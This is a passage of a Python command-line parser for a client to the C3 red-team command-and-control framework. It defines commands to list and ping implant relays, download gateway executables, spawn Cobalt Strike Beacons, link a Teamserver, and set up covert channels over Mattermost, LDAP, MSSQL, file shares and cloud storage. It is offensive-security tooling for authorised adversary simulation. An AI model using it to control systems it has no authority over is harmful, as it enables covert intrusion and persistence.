alarm_relay = alarm_sub.add_parser('relay', help = 'Trigger an alarm whenever a new Relay checks-in.')
|
|
alarm_relay.add_argument('-e', '--execute', action='append', default=[], help = 'If new Relay checks in - execute this command. Use following placeholders in your command: <computerName>, <userName>, <domain>, <isElevated>, <osVersion>, <processId>, <relayName>, <relayId>, <buildId>, <gatewayId>, <gatewayName>, <timestamp> to customize executed command\'s parameters. Example: powershell -c "Add-Type -AssemblyName System.Speech; $synth = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer; $synth.Speak(\'New Relay just checked-in <domain>/<userName>@<computerName>\')"')
|
|
alarm_relay.add_argument('-x', '--webhook', action='append', default=[], help = 'Trigger a Webhook (HTTP POST request) to this URL whenever a new Relay checks-in. The request will contain JSON message with all the fields available, mentioned in --execute option.')
|
|
alarm_relay.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway which Relays should be returned. If not given, will result all relays from all gateways.')
|
|
alarm_relay.add_argument('-D', '--delay', metavar = 'delay', type=int, default=10, help = 'New relays polling delay-time. Will poll new relays every N seconds. Setting this too low may impact Gateway\'s performance. Default: 10 seconds.')
|
|
alarm_relay.add_argument('-E', '--command-delay', metavar = 'command_delay', type=int, default=5, help = 'Delay before running a command/triggering a webhook (and between consecutive commands/webhooks). Default: 5 seconds')
|
|
alarm_relay.set_defaults(func = onAlarmRelay)
|
|
|
|
#
|
|
# Download
|
|
#
|
|
download = subparsers.add_parser('download', help = 'Download options')
|
|
download_sub = download.add_subparsers(help = 'Download what?', required = True)
|
|
|
|
download_gateway = download_sub.add_parser('gateway', help = 'Download gateway')
|
|
download_gateway.add_argument('-x', '--extract', action='store_true', help = 'Consider outfile as directory path. Then extract downloaded ZIP file with gateway into that directory.')
|
|
download_gateway.add_argument('-F', '--format', choices=['exe86', 'exe64', 'dll86', 'dll64'], default='exe64', help = 'Gateway executable format. <format><arch>. Formats: exe, dll. Archs: 86, 64. Default: exe64')
|
|
download_gateway.add_argument('-G', '--gateway-name', metavar='GATEWAY_NAME', default='random', help = 'Name of the Gateway. Default: random name')
|
|
download_gateway.add_argument('-O', '--override-ip', metavar='IP', default='', help = 'Override gateway configuration IP stored in JSON. By default will use 0.0.0.0')
|
|
download_gateway.add_argument('outfile', metavar='outfile', help = 'Where to save output file.')
|
|
download_gateway.set_defaults(func = onDownloadGateway)
|
|
|
|
#
|
|
# List
|
|
#
|
|
parser_list = subparsers.add_parser('list', help = 'List options')
|
|
parser_list_sub = parser_list.add_subparsers(help = 'List what?', required = True)
|
|
|
|
list_gateways = parser_list_sub.add_parser('gateways', help = 'List available gateways.')
|
|
list_gateways.add_argument('-a', '--active', action='store_true', help = 'List only active gateways')
|
|
list_gateways.set_defaults(func = onListGateways)
|
|
|
|
list_relays = parser_list_sub.add_parser('relays', help = 'List available relays.')
|
|
list_relays.set_defaults(func = onListRelays)
|
|
list_relays.add_argument('-a', '--active', action='store_true', help = 'List only active relays')
|
|
list_relays.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway which Relays should be returned. If not given, will result all relays from all gateways.')
|
|
|
|
#
|
|
# Get
|
|
#
|
|
parser_get = subparsers.add_parser('get', help = 'Get options')
|
|
parser_get_sub = parser_get.add_subparsers(help = 'Get what?', required = True)
|
|
|
|
get_gateway = parser_get_sub.add_parser('gateway', help = 'Get gateway\'s data.')
|
|
get_gateway.set_defaults(func = onGetGateway)
|
|
get_gateway.add_argument('name', help = 'Gateway Name or ID')
|
|
|
|
get_relay = parser_get_sub.add_parser('relay', help = 'Get relay\'s data.')
|
|
get_relay.set_defaults(func = onGetRelay)
|
|
get_relay.add_argument('name', help = 'Relay Name or ID')
|
|
get_relay.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway runs specified Relay. If not given, will return all relays matching criteria from all gateways.')
|
|
|
|
#
|
|
# Ping
|
|
#
|
|
parser_ping = subparsers.add_parser('ping', help = 'Ping Relays')
|
|
parser_ping.add_argument('-r', '--relay-id', default='', help = 'Specifies which Relay should be pinged. Can be its ID or name.')
|
|
parser_ping.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.')
|
|
parser_ping.add_argument('-k', '--keep-pinging', metavar='delay', type=int, default=0, help = 'Keep pinging choosen Relays. Will send a ping every "delay" number of seconds. Default: sends ping only once.')
|
|
parser_ping.set_defaults(func = onPing)
|
|
|
|
#
|
|
# Jitter
|
|
#
|
|
parser_jitter = subparsers.add_parser('jitter', help = 'Set Update Jitter on a channel')
|
|
parser_jitter.add_argument('min_jitter', type=float, help = 'Min Jitter in seconds to set (float value)')
|
|
parser_jitter.add_argument('max_jitter', type=float, help = 'Max Jitter in seconds to set (float value)')
|
|
parser_jitter.add_argument('-c', '--channel-id', default='', help = 'Specifies ID (or Name) of the channel to commander. If not given - will issue specified command to all channels in a Relay. If name is given, will update Jitter on all Channels with that name.')
|
|
parser_jitter.add_argument('-r', '--relay-id', default='', help = 'Specifies which Relay should be pinged. Can be its ID or name.')
|
|
parser_jitter.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.')
|
|
parser_jitter.set_defaults(func = onJitter)
|
|
|
|
#
|
|
# Spawn
|
|
#
|
|
parser_spawn = subparsers.add_parser('spawn', help = 'Spawn implant options')
|
|
parser_spawn_sub = parser_spawn.add_subparsers(help = 'What to spawn?', required = True)
|
|
|
|
### Beacon
|
|
beacon = parser_spawn_sub.add_parser('beacon', help = 'Spawn new Cobalt Strike Beacon.')
|
|
beacon.add_argument('relay_id', metavar = 'relay_id', help = 'Relay in which to spawn Beacon. Can be ID or Name.')
|
|
beacon.add_argument('--pipe-name', metavar = 'pipe_name', default='random', help = 'Beacon Pipe name. Default: random')
|
|
beacon.add_argument('--trials', metavar = 'trials', type=int, default=10, help = 'Beacon connection trials. Default: 10')
|
|
beacon.add_argument('--delay', metavar = 'delay', type=int, default=1000, help = 'Beacon connection delay. Default: 1000')
|
|
beacon.add_argument('-g', '--gateway-id', metavar='gateway_id', default='', help = 'ID (or Name) of the Gateway runs specified Relay. If not given, will return all relays matching criteria from all gateways.')
|
|
beacon.set_defaults(func = onSpawnBeacon)
|
|
|
|
#
|
|
# Connector
|
|
#
|
|
parser_connector = subparsers.add_parser('connector', help = 'Connector options')
|
|
parser_connector.add_argument('gateway_id', metavar = 'gateway_id', help = 'Gateway which should be used to manage its connectors.')
|
|
parser_connector_sub = parser_connector.add_subparsers(help = 'What to do about that Connector?', required = True)
|
|
|
|
## turnon
|
|
connector_turnon = parser_connector_sub.add_parser('turnon', help = 'Turn on connector (connects to a Teamserver, Covenant, etc).')
|
|
connector_turnon_sub = connector_turnon.add_subparsers(help = 'What kind of connector?', required = True)
|
|
|
|
### Teamserver
|
|
turnon_connector_teamserver = connector_turnon_sub.add_parser('teamserver', help = 'Teamserver connector specific options.')
|
|
turnon_connector_teamserver.add_argument('address', metavar = 'address', help = 'Teamserver externalC2 address')
|
|
turnon_connector_teamserver.add_argument('port', metavar = 'port', help = 'Teamserver externalC2 port')
|
|
turnon_connector_teamserver.set_defaults(func = onTurnOnTeamserver)
|
|
|
|
## turnoff
|
|
connector_turnoff = parser_connector_sub.add_parser('turnoff', help = 'Turn off connector (connects to a Teamserver, Covenant, etc).')
|
|
connector_turnoff.add_argument('connector_id', metavar = 'connector_id', help = 'Connector\'s ID that should be closed')
|
|
connector_turnoff.set_defaults(func = onTurnOffConnector)
|
|
|
|
#
|
|
# Close
|
|
#
|
|
parser_close = subparsers.add_parser('close', help = 'Close command.')
|
|
parser_close_sub = parser_close.add_subparsers(help = 'Close what?', required = True)
|
|
|
|
## Network
|
|
close_channel = parser_close_sub.add_parser('network', help = 'Close Network / ClearNetwork.')
|
|
close_channel.add_argument('gateway_id', metavar = 'gateway_id', help = 'Gateway which network is to be closed. Can be ID or Name.')
|
|
close_channel.set_defaults(func = onCloseNetwork)
|
|
|
|
## Channel
|
|
close_channel = parser_close_sub.add_parser('channel', help = 'Close a channel.')
|
|
close_channel.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to find a channel to close. Can be ID or Name.')
|
|
close_channel.add_argument('-G', '--close-grc', action='store_true', help = 'Close Gateway-Return Channel (Non-negotiation one) as well. By default the GRC channel (the one marked with violet icon) will not be closed to avoid losing connectivity with relay.')
|
|
close_channel.add_argument('-c', '--channel-id', default='', help = 'Specifies ID (or Name) of the channel to commander. If not given - will issue specified command to all channels in a Relay. If name is given, will update Jitter on all Channels with that name.')
|
|
close_channel.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.')
|
|
close_channel.set_defaults(func = onCloseChannel)
|
|
|
|
## Relay
|
|
close_channel = parser_close_sub.add_parser('relay', help = 'Close a Relay.')
|
|
close_channel.add_argument('relay_id', metavar = 'relay_id', help = 'Relay to be closed. Can be ID or Name.')
|
|
close_channel.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway runs specified Relay. If not given, will return all relays matching criteria from all gateways.')
|
|
close_channel.set_defaults(func = onCloseRelay)
|
|
|
|
|
|
#
|
|
# Channel
|
|
#
|
|
parser_channel = subparsers.add_parser('channel', help = 'Send Channel-specific command')
|
|
parser_channel.add_argument('-c', '--channel-id', default='', help = 'Specifies ID of the channel to commander. If not given - will issue specified command to all channels in a Relay.')
|
|
parser_channel.add_argument('-r', '--relay-id', default='', help = 'Specifies Relay that runs target channel. Can be its ID or name.')
|
|
parser_channel.add_argument('-g', '--gateway-id', default='', metavar='gateway_id', help = 'ID (or Name) of the Gateway which Relays should be pinged. If not given, will ping all relays in all gateways.')
|
|
|
|
parser_channel_sub = parser_channel.add_subparsers(help = 'Specify channel', required = True)
|
|
|
|
## All channels
|
|
all_channels = parser_channel_sub.add_parser('all', help = 'Commands that are common for all channels.')
|
|
all_channels_parser = all_channels.add_subparsers(help = 'Command to send', required = True)
|
|
|
|
### clear
|
|
all_channels_clear = all_channels_parser.add_parser('clear', help = 'Clear every channel\'s message queue.')
|
|
all_channels_clear.set_defaults(func = onAllChannelsClear)
|
|
|
|
## Mattermost
|
|
mattermost = parser_channel_sub.add_parser('mattermost', help = 'Mattermost channel specific commands.')
|
|
mattermost_parser = mattermost.add_subparsers(help = 'Command to send', required = True)
|
|
|
|
### Create
|
|
mattermost_create = mattermost_parser.add_parser('create', help = 'Setup a Mattermost Negotiation channel.')
|
|
mattermost_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.')
|
|
mattermost_create.add_argument('server_url', metavar = 'server_url', help = 'Mattermost Server URL, example: http://192.168.0.100:8888')
|
|
mattermost_create.add_argument('team_name', metavar = 'team_name', help = 'Mattermost Team name where to create channels.')
|
|
mattermost_create.add_argument('access_token', metavar = 'access_token', help = 'Personal Access Token value.')
|
|
mattermost_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.')
|
|
mattermost_create.add_argument('--channel-name', metavar = 'CHANNEL', default='random', help = 'Channel name to create. Will be picked at random if left empty.')
|
|
mattermost_create.add_argument('--user-agent', metavar = 'USERAGENT', default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36',
|
|
help = 'User-Agent string to use in HTTP requests.')
|
|
mattermost_create.set_defaults(func = onMattermostCreate)
|
|
|
|
### Purge
|
|
mattermost_purge = mattermost_parser.add_parser('clear', help = 'Purge all dangling posts/messages from Mattermost channel.')
|
|
mattermost_purge.set_defaults(func = onMattermostPurge)
|
|
|
|
## LDAP
|
|
ldap = parser_channel_sub.add_parser('ldap', help = 'LDAP channel specific commands.')
|
|
ldap_parser = ldap.add_subparsers(help = 'Command to send', required = True)
|
|
|
|
### clear
|
|
ldap_clear = ldap_parser.add_parser('clear', help = 'Clear LDAP attribute associated with that channel.')
|
|
ldap_clear.set_defaults(func = onLDAPClear)
|
|
|
|
### Create
|
|
ldap_create = ldap_parser.add_parser('create', help = 'Setup a LDAP Negotiation channel.')
|
|
ldap_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.')
|
|
ldap_create.add_argument('--data-attribute', metavar = 'data_attribute', default = 'mSMQSignCertificates', help = 'Data LDAP Attribute. Default: mSMQSignCertificates')
|
|
ldap_create.add_argument('--lock-attribute', metavar = 'lock_attribute', default = 'primaryInternationalISDNNumber', help = 'Lock LDAP Attribute. Default: primaryInternationalISDNNumber')
|
|
ldap_create.add_argument('--max-size', metavar = 'max_size', default = 1047552, type = int, help = 'Max Packet Size. Default: 1047552')
|
|
ldap_create.add_argument('domain_controller', metavar = 'domain_controller', help = 'Domain Controller.')
|
|
ldap_create.add_argument('username', metavar = 'username', help = 'LDAP username.')
|
|
ldap_create.add_argument('password', metavar = 'password', help = 'LDAP password.')
|
|
ldap_create.add_argument('user_dn', metavar = 'user_dn', help = 'User Distinguished Name, example: CN=Jeff Smith,CN=users,DC=fabrikam,DC=com')
|
|
ldap_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.')
|
|
ldap_create.set_defaults(func = onLDAPCreate)
|
|
|
|
## MSSQL
|
|
mssql = parser_channel_sub.add_parser('mssql', help = 'MSSQL channel specific commands.')
|
|
mssql_parser = mssql.add_subparsers(help = 'Command to send', required = True)
|
|
|
|
### clear
|
|
mssql_clear = mssql_parser.add_parser('clear', help = 'Clear channel\'s DB Table.')
|
|
mssql_clear.set_defaults(func = onMSSQLClearTable)
|
|
|
|
### Create
|
|
mssql_create = mssql_parser.add_parser('create', help = 'Setup a MSSQL Negotiation channel.')
|
|
mssql_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.')
|
|
mssql_create.add_argument('server_name', metavar = 'server_name', help = 'MSSQL Server name')
|
|
mssql_create.add_argument('database_name', metavar = 'database_name', help = 'Database Name.')
|
|
mssql_create.add_argument('table_name', metavar = 'table_name', help = 'Table Name.')
|
|
mssql_create.add_argument('username', metavar = 'username', help = 'Database username.')
|
|
mssql_create.add_argument('password', metavar = 'password', help = 'Database password.')
|
|
mssql_create.add_argument('sspi', metavar = 'sspi', type=bool, help = 'Use Integrated Security (SSPI) - use for domain joined accounts. Default: false.')
|
|
mssql_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.')
|
|
mssql_create.set_defaults(func = onMSSQLCreate)
|
|
|
|
## UncShareFile
|
|
unc = parser_channel_sub.add_parser('uncsharefile', help = 'UncShareFile channel specific commands.')
|
|
unc_parser = unc.add_subparsers(help = 'Command to send', required = True)
|
|
|
|
### clear
|
|
unc_clear = unc_parser.add_parser('clear', help = 'Clear all message files.')
|
|
unc_clear.set_defaults(func = onUncShareFileClear)
|
|
|
|
unc_create = unc_parser.add_parser('create', help = 'Setup a Mattermost Negotiation channel.')
|
|
unc_create.add_argument('agent_id', metavar = 'agent_id', help = 'Gateway or Relay that will be used to setup a channel. Can be ID or Name.')
|
|
unc_create.add_argument('filesystem_path', metavar = 'filesystem_path', help = 'Filesystem path')
|
|
unc_create.add_argument('--clear', type=bool, metavar = 'clear', default = False, help = 'Clear previous messages')
|
|
unc_create.add_argument('--negotiation-id', metavar = 'ID', default='random', help = 'Negotiation Identifier. Will be picked at random if left empty.')
|
|
unc_create.set_defaults(func = onUncShareFileCreate)
|
|
|
|
## Dropbox
|
|
dropbox = parser_channel_sub.add_parser('dropbox', help = 'Dropbox channel specific commands.')
|
|
dropbox_parser = dropbox.add_subparsers(help = 'Command to send', required = True)
|
|
|
|
### clear
|
|
dropbox_clear = dropbox_parser.add_parser('clear', help = 'Clear all files.')
|
|
dropbox_clear.set_defaults(func = onDropboxClear)
|
|
|
|
## Dropbox
|
|
github = parser_channel_sub.add_parser('github', help = 'Github channel specific commands.')
|
|
github_parser = github.add_subparsers(help = 'Command to send', required = True)
|
|
|
|
### clear
|
|
github_clear = github_parser.add_parser('clear', help = 'Clear all files.')
|
|
github_clear.set_defaults(func = onGithubClear)
|
|
|
|
## GoogleDrive
|
|
gdrive = parser_channel_sub.add_parser('googledrive', help = 'GoogleDrive channel specific commands.')
|
|
gdrive_parser = gdrive.add_subparsers(help = 'Command to send', required = True)
|
|
|
|
### clear
|
|
gdrive_clear = gdrive_parser.add_parser('clear', help = 'Clear all files.')
|
|
gdrive_clear.set_defaults(func = onGoogleDriveClear)
|
|
|
|
try:
|
|
args = opts.parse_args()
|
|
except TypeError:
|
|
opts.parse_args(argv.append('--help'))
|
|
sys.exit(1)
|
|
|
|
config.update(vars(args))
|
|
return args.func(args)
|
|
|
|
def main(argv):
|
|
print('''
|
|
:: F-Secure's C3 Client - a lightweight automated companion with C3 voyages
|
|
Mariusz Banach / mgeeky, <mb@binary-offensive.com>
|
|
''')
|
|
parseArgs(argv)
|
|
|
|
if config['format'] == 'text':
|
|
print()
|
|
|
|
if __name__ == '__main__':
|
|
main(sys.argv)
|